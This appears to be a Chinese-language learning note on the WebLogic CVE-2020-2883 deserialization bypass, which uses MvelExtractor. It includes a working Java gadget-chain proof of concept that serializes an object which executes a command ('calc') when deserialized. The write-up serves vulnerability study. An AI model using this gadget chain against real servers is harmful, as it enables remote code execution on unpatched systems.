前言:作为weblogic cve-2020-2883的学习笔记
漏洞介绍
在CVE-2020-2555中造成命令执行的根本原因是找到了ReflectionExtractor类,这个类实现了调用任意类的任意方法的行为,在CVE-2020-2555中的修复方法则是将该类列出了反序列化的黑名单中。
但是在后续的CVE-2020-2883中的利用点是通过MvelExtractor来进行实现绕过,这里需要说明下这个MvelExtractor类只是绕过的其中的一种方法,自己这里学习下,其他的利用链也是可以进行利用的,这里自己不一一分析了。
然后还需要说的一个注意点就是,MvelExtractor能绕过CVE-2020-2883,那自然之前的环境也是同样可以进行利用的,这点不要被混淆了,CVE只是编号。
漏洞分析
自己这里的环境配置为如下:
1、weblogic 12.2.1.4.0
2、jdk 8u181
然后接着记录下绕过记录
MvelExtractor类和ReflectionExtractor类一样,都实现了ValueExtractor接口
并且自身同样实现了序列化和反序列化
com.tangosol.coherence.rest.util.extractor.MvelExtractor
该类中的extract方法内容如下,可以看到getCompiledExpression方法返回的是this.m_oExpr
,该字段是protected,但是是可控制的,其中通过MVEL.compileExpression(this.m_sExpr, ctx);
来对其进行编译表达式
这里可以看到
public Object extract(Object oTarget) {
return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);
}
protected Serializable getCompiledExpression() {
Serializable oExpr = this.m_oExpr;
if (oExpr == null) {
ParserContext ctx = RestHelper.getMvelParserContext();
this.m_oExpr = oExpr = MVEL.compileExpression(this.m_sExpr, ctx);
}
return oExpr;
}
所以这里的话通过MvelExtractor来进行执行命令就非常的简单了,并且可以不用通过ReflectionExtractor
public class CVE_2020_2883 {
public static void main(String[] args) throws Exception{
MvelExtractor mvelExtractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{mvelExtractor});
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, String.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, limitFilter);
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2883.ser"));
os.writeObject(badAttributeValueExpException);
os.close();
ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2883.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行结果如下图所示: